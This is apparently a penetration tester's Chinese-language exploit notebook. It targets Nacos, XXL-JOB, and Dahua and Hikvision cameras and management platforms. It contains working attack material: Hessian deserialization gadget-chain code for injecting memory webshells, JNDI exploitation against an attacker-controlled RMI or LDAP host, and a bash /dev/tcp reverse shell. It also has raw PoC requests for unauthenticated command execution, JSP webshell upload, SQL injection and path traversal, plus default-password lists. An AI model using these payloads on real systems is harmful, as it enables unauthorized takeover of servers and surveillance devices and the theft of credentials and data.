http://127.0.0.1:8848/nacos/v1/auth/users?search=accurate&pageNo=1&pageSize=9 get查询用户
curl -v --data-binary "username=test&password=123456" "http://127.0.0.1:8848/nacos/v1/auth/users" post添加用户
curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken=' -d 'username=test&newPassword=test123' 修改密码
http://127.0.0.1:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99 获取配置信息
http://127.0.0.1:8848/nacos/v1/core/cluster/nodes 获取集群信息
curl --data-binary "username=nacos&password=nacos" "http://127.0.0.1:8848/nacos/v1/auth/users/login" 登陆
# XXL-JOB
XXL-JOB漏洞分析与利用 - FreeBuf网络安全行业门户
xxl-job是一个分布式任务调度平台,其核心设计目标是开发迅速,学习简单、轻量级、易扩展
它可以帮你设定这些任务,并且确保它们在正确的时间得到执行。它有以下几个关键特点:
- 容器化:提供官方docker镜像,并实时更新推送dockerhub,进一步实现产品开箱即用。
- 脚本任务:支持以GLUE模式开发和运行脚本任务,包括Shell、Python、NodeJS、PHP、PowerShell等类型脚本。
- 动态:支持动态修改任务状态、启动/停止任务,以及终止运行中任务,即时生效。
- Rolling实时日志:支持在线查看调度结果,并且支持以Rolling方式实时查看执行器输出的完整的执行日志。
# 默认口令
默认账号密码:
admin
123456
# Hessian反序列化
影响范围为xxl-job <= 2.0.2
漏洞接口为/api,存在Hessian2反序列化漏洞
该漏洞触发/api路由的方法位于com.xxl.job.admin.controller.JobApiController#api,进入com.xxl.job.admin.core.schedule.XxlJobDynamicScheduler#invokeAdminService,进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#handle,进入com.xxl.rpc.remoting.net.impl.servlet.server.ServletServerHandler#parseRequest,其中readByte(request)方法获取请求体的数据然后传入com.xxl.rpc.serialize.impl.HessianSerializer#deserialize
# 出网利用
工具地址:https://github.com/welk1n/JNDI-Injection-Exploit (可bypass较高版本jdk限制)
https://github.com/mbechler/marshalsec (生成恶意序列化数据)
# 启动JNDI服务
java -jar JNDI-Injection-Exploit-1.0-welk1n.jar -A 0.0.0.0 -C "ping xmm0yh.dnslog.cn"
# 生成恶意序列化数据
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/kt17tn > 1.ser
# curl发送数据
curl -XPOST --data-binary @1.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"
# 不出网利用
defineClass加载字节码
调用Unsafe#defineClass方法来加载字节码,实现内存马注入,使用JMG工具生成内存马:https://github.com/pen4uin/java-memshell-generator
代码参考:探寻Hessian JDK原生反序列化不出网的任意代码执行利用链 – Whwlsfb's Tech Blog
代码需要修改的地方有:
- bcode的值为生成的base64格式的内存马
- 注入的类名
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.HashMap;
import java.util.Hashtable;
public class hessian_demo_main {
static SerializerFactory serializerFactory = new SerializerFactory();
static byte[] bcode;
static {
try {
// 修改下面bcode为实际生成的BASE64格式的内存马
bcode = Base64.decode("yv66vg...AAAAAgCi");
} catch (Base64DecodingException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) throws Exception {
serializerFactory.setAllowNonSerializable(true);
Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);
// 修改下面HttpClientUtil为实际生成内存马的类名
Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"HttpClientUtil", bcode, 0, bcode.length, null, null}}};
// 修改下面HttpClientUtil为实际生成内存马的类名
SwingLazyValue swingLazyValue1 = new SwingLazyValue("HttpClientUtil", null, new Object[0]);
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil", "invoke", ags);
Object[] keyValueList = new Object[]{"abc", swingLazyValue};
Object[] keyValueList1 = new Object[]{"ccc", swingLazyValue1};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
serObj(hashtable1, hashtable2, hashtable3, hashtable4);
readObj();
}
static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 4);
Class<?> nodeC;
try {
* nodeC = Class.forName("java.util.HashMap**$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$*Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
Reflections.setFieldValue(s, "table", tbl);
Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(s);
hessian2Output.close();
}
static void readObj() throws Exception {
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
hessian2Input.readObject();
}
}
再通过curl发包即可:
curl -XPOST --data-binary @hessian.ser http://192.168.2.132:8080/xxl-job-admin/api -H "Content-Type: x-application/hessian"
这里注入的是冰蝎listener内存马:
密码:Igzafarqnx
请求路径:/
请求头:Referer: Vhmeexb
XSLT触发defineClass加载字节码
代码参考:SwingLazyValue在WebShell下的利用 -
修改两个地方:
- base64_payload为要注入的BASE64格式的内存马
- class_name为注入的类名
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Hashtable;
import static com.qt.test.hessian_demo_main.serializerFactory;
public class hessian_demo_two {
public static void main(String[] args) throws Exception {
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'base64_payload')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('class_name',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
String base64Code = "yv66vg...AAAAAgCi";
serializerFactory.setAllowNonSerializable(true);
String xslt = xsltTemplate.replace("base64_payload", base64Code).replace("class_name", "HttpClientUtil");
SwingLazyValue value1 = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"E:/SecCode/Test/Test/xslt_temp", xslt.getBytes()});
SwingLazyValue value2 = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///E:/SecCode/Test/Test/xslt_temp"}});
Object[] keyValueList = new Object[]{"abc", value1};
Object[] keyValueList1 = new Object[]{"ccc", value2};
UIDefaults uiDefaults1 = new UIDefaults(keyValueList);
UIDefaults uiDefaults2 = new UIDefaults(keyValueList);
UIDefaults uiDefaults3 = new UIDefaults(keyValueList1);
UIDefaults uiDefaults4 = new UIDefaults(keyValueList1);
Hashtable<Object, Object> hashtable1 = new Hashtable<>();
Hashtable<Object, Object> hashtable2 = new Hashtable<>();
Hashtable<Object, Object> hashtable3 = new Hashtable<>();
Hashtable<Object, Object> hashtable4 = new Hashtable<>();
hashtable1.put("a", uiDefaults1);
hashtable2.put("a", uiDefaults2);
hashtable3.put("b", uiDefaults3);
hashtable4.put("b", uiDefaults4);
serObj(hashtable1, hashtable2, hashtable3, hashtable4);
readObj();
}
static void serObj(Object hashtable1, Object hashtable2, Object hashtable3, Object hashtable4) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Reflections.setFieldValue(s, "size", 4);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 4);
Array.set(tbl, 0, nodeCons.newInstance(0, hashtable1, hashtable1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, hashtable2, hashtable2, null));
Array.set(tbl, 2, nodeCons.newInstance(0, hashtable3, hashtable3, null));
Array.set(tbl, 3, nodeCons.newInstance(0, hashtable4, hashtable4, null));
Reflections.setFieldValue(s, "table", tbl);
Hessian2Output hessian2Output = new Hessian2Output(new FileOutputStream("hessian.ser"));
hessian2Output.setSerializerFactory(serializerFactory);
hessian2Output.writeObject(s);
hessian2Output.close();
}
static void readObj() throws Exception {
Hessian2Input hessian2Input = new Hessian2Input(new FileInputStream("hessian.ser"));
hessian2Input.readObject();
}
}
环境:jdk1.8,这里注入的是冰蝎listener内存马:
密码:Igzafarqnx
请求路径:/*
请求头:Referer: Vhmeexb
# 后台命令执行
在GLUE模式中,admin可以在XXL-JOB的后台管理界面上通过内置的web IDE编写脚本代码,这些代码未经过滤地以payload形式发送给executor执行器,执行器以自身的系统权限无条件地执行了这些代码,如果攻击者能够利用GLUE模式,就可以将恶意的系统命令伪装成正常定时任务下发,例如在GLUE(shell)模式中写入反弹shell脚本:
#! /bin/bash
bash -i >& /dev/tcp/[IP]/监听端口 0>&1
或者在GLUE(Java)中写入Groovy执行代码:
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public ReturnT<String> execute(String param) throws Exception {
// 执行任意系统命令,例如 whoami 或 wget 下载木马
java.lang.Runtime.getRuntime().exec("id > /tmp/hacked.txt");
return ReturnT.SUCCESS;
}
}
GLUE支持多种运行模式,包括:
- GLUE(Java):本质上是Groovy脚本
- GLUE(Shell):直接执行Bash/Sh脚本
- GLUE(Python/PHP/NodeJS/PowerShell):执行对应语言的脚本
出网利用一般考虑反弹shell和上传cs
不出网利用:考虑注入一个java agent内存马,因为没有上传点,需要写一个agent马进去,先准备好agent内存马然后将其base64编码之后分割再拼接:
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Base64;
public class Base64FileSplit {
public static void main(String[] args) {
File file = new File("E:\\Agent-1.0.jar");
FileOutputStream fos = null;
try {
fos = new FileOutputStream("split_base64_output.txt");
byte[] buffer = new byte[1000]; // 缓冲区大小为1000个字符
int bytesRead;
// 读取文件并转换为Base64字符串
FileInputStream fis = new FileInputStream(file);
byte[] fileContent = new byte[(int) file.length()];
fis.read(fileContent);
String base64String = Base64.getEncoder().encodeToString(fileContent);
// 分割Base64字符串并写入到文件
for (int i = 0; i < base64String.length(); i += 1000) {
String line = "sb.append(\"" + base64String.substring(i, Math.min(i + 1000, base64String.length())) + "\");";
fos.write(line.getBytes());
fos.write("\n".getBytes());
}
System.out.println("Base64字符串已成功分割并写入到文件中.");
} catch (IOException e) {
e.printStackTrace();
} finally {
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
生成拼接的字符串之后,添加一个java脚本的任务再编辑代码,修改代码为如下:
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
import java.io.*;
import java.util.Base64;
public class DemoGlueJobHandler extends IJobHandler {
@Override
public ReturnT<String> execute(String param) throws Exception {
saveJarAndEx();
return ReturnT.SUCCESS;
}
public static void saveJarAndEx() {
StringBuilder sb = new StringBuilder();
// 拼接的base64字符串
sb.append("UEsDBAoAAAAAANwVPlgAAAAAAAAA...");
...
....
...
sb.append("...DQAAAA==");
// Base64解码
String base64String = sb.toString();
byte[] decodedBytes = Base64.getDecoder().decode(base64String);
// 保存agent jar
File jarFile = new File("test1.jar");
try {
FileOutputStream fileOutputStream = new FileOutputStream(jarFile);
fileOutputStream.write(decodedBytes);
fileOutputStream.close();
// 执行jar
ProcessBuilder processBuilder = new ProcessBuilder("java", "-jar", "test1.jar");
Process process = processBuilder.start();
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (FileNotFoundException e) {
throw new RuntimeException(e);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
执行任务之后就可以在控制台中看到注入成功,随后冰蝎连接
# Executor未授权命令执行
影响版本为XXL-JOB <= 2.2.0
漏洞原理为/run接口触发执行器执行脚本,accessToken为空绕过鉴权
在com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process方法中校验请求包中的accessToken,由于在 <= 2.2.0时,accessToken值默认为空,所以accessToken.trim().length() > 0为false,即绕过认证,和后台通过执行任务造成的命令执行原理一样
Executor默认监听9999端口,和后台命令执行的任务导致的命令执行一致,只不过这里直接未授权请求Executor去触发脚本执行,poc:
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}
# 默认accessToken身份绕过
影响范围为XXL-JOB <= 2.4.0
漏洞原理为用于调度通讯的accessToken为默认值default_token,token校验的时候获取请求头的XXL-JOB-ACCESS-TOKEN的值,和配置文件的默认accessToken值default_token进行比对
poc:
POST /run HTTP/1.1
Host: 192.168.2.132:9999
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default_token
Content-Length: 311
{
"jobId":1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc.exe",
"glueUpdatetime": 1,
"broadcastIndex": 0,
"broadcastTotal": 0
}
# 后台SSRF
影响范围为XXL <= 2.3.1
漏洞原理为查看执行日志/joblog/logDetailCat接口时,会携带accessToken向执行器地址发送请求,可以通过低权限用户发送日志查看的数据包,获取accessToken,再利用accessToken去触发/run接口的命令执行
修改访问/joblog/logDetailCat请求包中的executorAddress,再通过nc监听请求包,可在请求头中获取accessToken
# 大华
大华是以视频为核心的智慧物联解决方案提供商和运营服务商,其业务以视频技术为主,结合人工智能、大数据、物联网等技术,为城市与企业提供数智化转型服务,并涉及机器视觉、视频会议、专业无人机、智慧消防等领域
# 摄像头与NVR设备端漏洞
# 身份验证绕过漏洞CVE-2021-33044 & CVE-2021-33045
参考文章:Dahua IPC 授权问题漏洞(CVE-2021-33045)-CSDN博客
该漏洞存在于大华部分IP摄像头和NVR设备的认证组件中,攻击者可以通过向设备发送特定构造的数据包绕过常规登录校验,直接以管理员权限登录设备
复现方式:
sudo pip3 install -r requirements.txt
# 运行console.py,登录方式选择loopback,协议选择dhip,端口为摄像头的web管理端口(通常为80)
python ./Console.py --logon loopback --rhost IP --proto dhip --rport port
# ONVIF协议认证绕过CVE-2022-30563
参考文章:CVE-2022-30563:大华IP摄像机ONVIF漏洞分析 - 知乎
受影响版本为:
大华ASI7XXX:v1.000.0000009.0.R.220620之前的版本
大华IPC-HDBW2XXX:v2.820.0000000.48.R.220614之前的版本
大华IPC-HX2XXX:v2.820.0000000.48.R.220614之前的版本
在底层,ONVIF请求主要是通过HTTP的XML SOAP消息进行传输,ONVIF规范中接受使用WS-UsernameToken验证,WS-UsernameToken依赖于以下数据验证请求:
Username:认证用户的用户名
Nonce:由客户端生成的随机的、唯一的数字
Created:UtcTime发出请求的时间
Password:认证用户的密码
标准规范要求Password非明文,被设置为一个哈希摘要,改机制可以帮助保护密码和预防重放攻击,生成算法为:
Digest = B64ENCODE(SHA1(B64DECODE(Nonce) + Created + Password))
通过已认证的管理员账户demo_admin发送非更改状态下的GetScope ONVIF请求,随后使用不同IP,且在GetScope请求完成约30小时之后使用与之前完全相同的凭证,伪造一个偷偷添加管理员的请求CerateUsers,结果设备可以相应请求并创建攻击者控制的管理员,攻击者可以通过这个新创建的账户以完全控制设备,包括观看来自摄像机的实时画面
即从action="http://.../ver10/device/wsdl/GetScopes"变成action="http://.../ver10/device/wsdl/CreateUsers"
# 任意文件上传
参考文章:复现大华智慧园区综合管理平台的任意文件上传漏洞-开发者社区-阿里云
大华智慧园区综合管理平台和DSS综合管理系统是也是除硬件外常见的攻击目标
/emap/webservice/gis/soap/poi接口,poc如下:
POST /emap/webservice/gis/soap/poi HTTP/1.1
Host: XX.XX.XX.XX:8009
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8
Cookie: JSESSIONID=A58962636D1422B038BF985177F4C02E; JSESSIONID=ADE54516354577F1C8F8208580883BA2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1378
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:res="http://response.webservice.poi.mapbiz.emap.dahuatech.com/">
<soapenv:Header/>
<soapenv:Body>
<res:uploadPicFile>
<arg0>/../../xxx.jsp</arg0>
<arg1>
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
</arg1>
</res:uploadPicFile>
</soapenv:Body>
</soapenv:Envelope>
arg0为访问上传文件的地址,arg1是上传文件的内容,内容部分以时间为例,如下:
# base64编码
PCVAcGFnZSBpbXBvcnQ9ImphdmEudGV4dC4qLGphdmEudXRpbC4qLGphdmEuaW8uKiIlPgo8JQpTaW1wbGVEYXRlRm9ybWF0IGRmID0gbmV3IFNpbXBsZURhdGVGb3JtYXQoInl5eS1NTS1kZCBISDptbTpzcyIpOwpvdXQucHJpbnRsbihkZi5mb3JtYXQobmV3IERhdGUoKSkpOwpGaWxlIGZpbGUgPSBuZXcgRmlsZShhcHBsaWNhdGlvbi5nZXRSZWFsUGF0aChyZXF1ZXN0LmdldFNlcnZsZXRQYXRoKCkpKTsKZmlsZS5kZWxldGUoKTsKJT4=
然后访问URL:http://url/upload/***.jsp
对于/emap/devicePoint_addImgIco?hasSubsystem=true接口,poc:
POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
Host: 192.168.2.11:81
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate
Accept: */*Connection: Keep-Alive
Content-Length: 224
Content-Type: multipart/form-data;
boundary=f3aeb22be281d77542546a2f71e20982--
f3aeb22be281d77542546a2f71e20982
Content-Disposition: form-data; name="upload"; filename="a.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary马子内容--
f3aeb22be281d77542546a2f71e20982--
上传成功会返回文件名ico_Xxx_***.jsp,随后只需要访问http://url/emap/society_new_ico_xxx_***.jsp即可
# SQL注入
参考文章:大华ICC智能物联综合管理平台存在SQL注入漏洞 附POC | CN-SEC 中文网
大华ICC只能物联综合管理平台的接口/evo-apigw/evo-arsm/1.0.0/ars/list的serviceName参数存在SQL注入漏洞,未经身份验证的攻击者可通过该接口执行任意SQL语句获取数据库敏感信息
poc:
GET /evo-apigw/evo-arsm/1.0.0/ars/list?serviceName='+UNION+ALL+SELECT+NULL,NULL,NULL,CONCAT(0x7e,user(),0x7e),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_68cdc2c5b7811127c767836c22d78c5b=1774403983; Hm_lpvt_68cdc2c5b7811127c767836c22d78c5b=1774404483; HMACCOUNT=678132A7E90165A9
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
If-None-Match: W/"687a21ba-17cc"
Priority: u=0, i
# 任意文件读取漏洞
参考文章:大华DSS 系统attachment_downloadAtt.action存在任意文件读取漏洞 附POC | CN-SEC 中文网
大华DSS Digital Surveillance System系统attachment_downloadAtt.action存在远程任意文件读取漏洞
payload:
/portal/attachment_downloadAtt.action?filePath=../../.././../etc/passwd
# 未授权命令执行
参考文章:大华智能物联网综合管理平台 push 命令执行漏洞 | CN-SEC 中文网
该平台的/evo-runs/v1.0/push接口存在命令执行漏洞,攻击者可以通过特定的JSON请求在目标服务器上执行任意命令,可能导致服务器被完全控制,poc:
POST /evo-runs/v1.0/push HTTP/1.1
Content-Type: application/json
X-Subject-Headerflag: ADAPT{
"method": "agent.ossm.mapping.config",
"info": {
"configure": "Xuwudun",
"filePath": "Xuwudun",
"paramMap": {
"shellPath": "/bin/bash -c id>/opt/evoWpms/static/Xuwudun.txt",
"filePath": "Xuwudun"
},
"requestIp": ""
}
}
# 海康威视
参考文章:海康威视常见漏洞汇总
海康威视是以视频为核心的只能物联网解决方案和大数据服务提供商,专注安防、智慧业务及创新技术应用,其核心业务包括视频监控系统,综合安防产品,智能物联网与大数据服务,创新业务
# 默认口令
# 海康威视综合安防管理平台
admin
Abc123++
# 海康威视群组对讲服务配置平台
admin
12345
# 海康威视联网网关
admin
12345
# 海康威视 流媒体
admin
12345
# hikvision(ssh)
admin
121345
# Haivision Makito X Decoder(web)
admin
manager
# 海康威视配置文件解码 CVE-2017-7921
影响范围:
| 产品类型 | 影响版本 |
|---|---|
| DS-2CD2x20(B/C/D)、DS-2CD3x20(B/C/D) | V5.3.1 build150417-V5.4.23 build161020 |
| DS-2CD3x10(C) | V5.4.0 build160415-V5.4.4 build161105 |
| DS-2CD4x2xFWD | V5.2.0 build140721-V5.4.20 build160714 |
| DS-2CD5x | V5.3.2 build150515-V5.4.4 build161022 |
| DS-2CD2xx5、DS-2CD3xx5 | V5.3.1 build150410-V5.3.3 build150613 |
| V5.3.5 build150906-V5.4.23 build161020 | |
| DS-2DEx、DS-2DFx | V5.3.1 build150527-V5.4.4 build160927 |
查看系统所有存在用户列表:
/Security/users?auth=YWRtaW46MTEKYWRtaW46MTEK
YWRtaW46MTEKYWRtaW46MTEK是admin:11的base64编码
获取系统监控快照,不需要身份验证:
/onvif-http/snapshot?auth=YWRtaW46MTEK
下载摄像机配置文件,通过脚本解密配置文件获得账密信息:
/System/configurationFile?auth=YWRtaW46MTEK
解密工具及命令:https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor
python3 decrypt_configurationFile.py configurationFile
# 命令注入漏洞 CVE-2021-36260
- 易受攻击的网络摄像机固件
| 产品类型 | 影响版本 |
|---|---|
| IPC_E0 | IPC_E0_CN_STD_5.4.6_180112 |
| IPC_E1 | 未知 |
| IPC_E2 | IPC_E2_EN_STD_5.5.52_180620 |
| IPC_E4 | 未知 |
| IPC_E6 | IPCK_E6_EN_STD_5.5.100_200226 |
| IPC_E7 | IPCK_E7_EN_STD_5.5.120_200604 |
| IPC_G3 | IPC_G3_EN_STD_5.5.160_210416 |
| IPC_G5 | IPC_G5_EN_STD_5.5.113_210317 |
| IPC_H1 | IPC_H1_EN_STD_5.4.61_181204 |
| IPC_H5 | IPCP_H5_EN_STD_5.5.85_201120 |
| IPC_H8 | Factory installed firmware mid 2021 |
| IPC_R2 | IPC_R2_EN_STD_V5.4.81_180203 |
- 易受攻击的 PTZ 摄像机固件
| 产品类型 | 影响版本 |
|---|---|
| IPD_E7 | IPDEX_E7_EN_STD_5.6.30_210526 |
| IPD_G3 | IPDES_G3_EN_STD_5.5.42_210106 |
| IPD_H5 | IPD_H5_EN_STD_5.5.41_200911 |
| IPD_H7 | IPD_H7_EN_STD_5.5.40_200721 |
| IPD_H8 | IPD_H8_EN_STD_5.7.1_210619 |
- 易受攻击的旧固件
| 产品类型 | 影响版本 |
|---|---|
| IPC_R7 | 5.4.x |
| IPD_R7 | 5.4.x |
| IPC_G0 | 5.4.x |
| IPC_H3 | 5.4.x |
| IPD_H3 | 5.4.x |
poc:
PUT /SDK/webLanguage HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 89
<?xml version="1.0"
encoding="UTF-8"?><language>$(ifconfig -a >
webLib/dd.asp)</language>
# 任意文件读取漏洞 CVE-2021-14544
影响范围为流媒体管理服务器 V2.3.5
poc:
/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini
# 任意文件上传漏洞
影响范围为iVMS-8700综合安防
poc:
POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPo
Upgrade-Insecure-Requests: 1
Content-Length: 174
------WebKitFormBoundaryGEJwiloiPo
Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
Content-Type: image/jpeg
test
------WebKitFormBoundaryGEJwiloiPo
token处的内容是:url+secretKeyIbuilding的大写32位MD5值
构造token绕过机制,如果token值与url+secretkey的md5值相同就可以绕过认证
secretkey是代码里写死的,默认值secretKeybuilding
# Fastjson远程命令执行漏洞
影响范围为海康威视综合安防管理平台
poc:
POST /bic/ssoService/v1/applyCT HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0)
Gecko/20100101 Firefox/104.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Host: 127.0.0.1
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Content-Type: application/json
Content-Length: 196
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.dnslog.cn","autoCommit":true},"hfe4zyyzldp":"="}
确定dnslog能收到请求之后,使用工具JNDIExploit-1.2-SNAPSHOT.jar 进一步利用。把该工具上传到公网服务器后,执行如下命令:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 你的公网服务器ip
